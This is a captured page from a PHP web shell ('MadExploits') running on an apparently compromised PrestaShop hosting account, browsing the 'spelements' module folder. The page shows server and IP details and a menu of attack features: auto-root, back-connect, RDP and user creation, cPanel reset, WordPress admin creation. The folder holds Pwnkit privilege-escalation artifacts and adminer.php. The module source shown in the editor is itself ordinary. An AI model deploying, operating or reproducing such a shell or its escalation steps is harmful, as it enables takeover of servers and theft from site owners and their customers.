Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
spelements /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwx---r-x
controllers
[ DIR ]
drwx---r-x
src
[ DIR ]
drwx---r-x
views
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
config.xml
478
B
-rw----r--
config_fr.xml
472
B
-rw----r--
index.php
1.24
KB
-rw----r--
logo.png
1.47
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
spelements.php
5.39
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : spelements.php
<?php /** * Magentech Widgets * * @package Magentech * @version 1.0.0 * @author Magentech.Com * @copyright Copyright Ⓒ Since 2011 magentech.Com <@email:support@magentech.Com> * @license You only can use the module, nothing more! */ defined('_PS_VERSION_') or die; include_once(_PS_MODULE_DIR_.'spelements/src/WidgetCache.php'); use CE\Plugin; use Magentech\Module\Spelements\Cache; use Magentech\Module\Spelements\Install; class Spelements extends Module { const DBKEY = 'SPELEMENTS_FLAG'; const HOOK_LIST = [ 'actionCategoryAdd', 'actionCategoryDelete', 'actionCategoryUpdate', 'actionCleverElementsInit', 'actionProductAdd', 'actionProductDelete', 'actionProductUpdate', 'actionClearCompileCache', 'actionMagentechCacheClear', 'actionAdminControllerSetMedia', 'displayBackOfficeHeader', 'displayAfterTitleTag', 'displayHeader', ]; public $name; public function __construct() { $this->version = '1.0.0'; $this->author = 'Magentech'; $this->name = 'spelements'; $this->displayName = 'Magentech Widgets'; $this->tab = 'front_office_features'; $this->description = 'Clever Elements Extra Widgets'; $this->controllers = ['actions']; parent::__construct(); } public function install() { if (Shop::isFeatureActive()) { Shop::setContext(Shop::CONTEXT_ALL); } return parent::install() && $this->registerHook(self::HOOK_LIST); } public function uninstall() { if (parent::uninstall() && Configuration::deleteByName(self::DBKEY)) { return true; } return false; } public function isUsingNewTranslationSystem() { return true; } public function hookActionCategoryAdd() { $this->cacheClear(); } public function hookActionCategoryUpdate() { $this->cacheClear(); } public function hookActionCategoryDelete() { $this->cacheClear(); } public function hookActionProductAdd() { $this->cacheClear(); } public function hookActionProductDelete() { $this->cacheClear(); } public function hookActionProductUpdate() { $this->cacheClear(); } public function hookActionClearCompileCache() { $this->cacheClear(); } public function hookActionMagentechCacheClear() { $this->cacheClear(); } // hook used to import demo templates. The only way to import templates when current module is already installed public function hookActionAdminControllerSetMedia() { } public function hookDisplayHeader() { Media::addJsDef([ $this->name => [ 'controller' => $this->context->link->getModuleLink($this->name, $this->controllers[0]), ] ]); $this->context->controller->addJqueryPlugin('jgrowl'); $this->context->controller->registerStylesheet( $this->name, 'modules/'.$this->name.'/views/css/style.css', ['priority' => 598] ); $this->context->controller->registerStylesheet( $this->name.'-isotope', 'modules/'.$this->name.'/views/css/spisotope.css', ['priority' => 599] ); $this->context->controller->registerStylesheet( $this->name.'-dailydeal', 'modules/'.$this->name.'/views/css/spdailydeal.css', ['priority' => 599] ); $this->context->controller->registerJavascript( $this->name, 'modules/'.$this->name.'/views/js/scripts.js', ['priority' => 598] ); $this->context->controller->registerJavascript( $this->name.'-isotope', 'modules/'.$this->name.'/views/js/spisotope.js', ['priority' => 599] ); } public function hookDisplayBackOfficeHeader() { if (Tools::getValue('controller') == 'AdminCEContent') { $this->context->controller->addJS($this->_path.'/views/js/admin.js'); } } public function hookActionCleverElementsInit() { $this->includeClassesToElementor(); CE\add_action('elementor/widgets/widgets_registered', [$this, 'registerWidget']); CE\add_action('elementor/elements/categories_registered', function($manager) { $manager->addCategory('magentech', ['title' => 'Magentech General']); $manager->addCategory('magentech_category', ['title' => 'Magentech Category Page']); $manager->addCategory('magentech_product', ['title' => 'Magentech Product Page']); }); } public function registerWidget() { $widgets = glob(_PS_MODULE_DIR_.$this->name.'/classes/*.php'); foreach ($widgets as $widget) { require($widget); $classname = 'CE\\'.basename($widget, '.php'); if (class_exists($classname)) { CE\Plugin::instance()->widgets_manager->registerWidgetType(new $classname()); } } } private function includeClassesToElementor() { $classes = glob(_PS_MODULE_DIR_.$this->name.'/src/*.php'); foreach ($classes as $class) { include($class); } } public function cacheClear() { $this->_clearCache('sp_menu.tpl'); Cache::getInstance()->clear(); } }
Close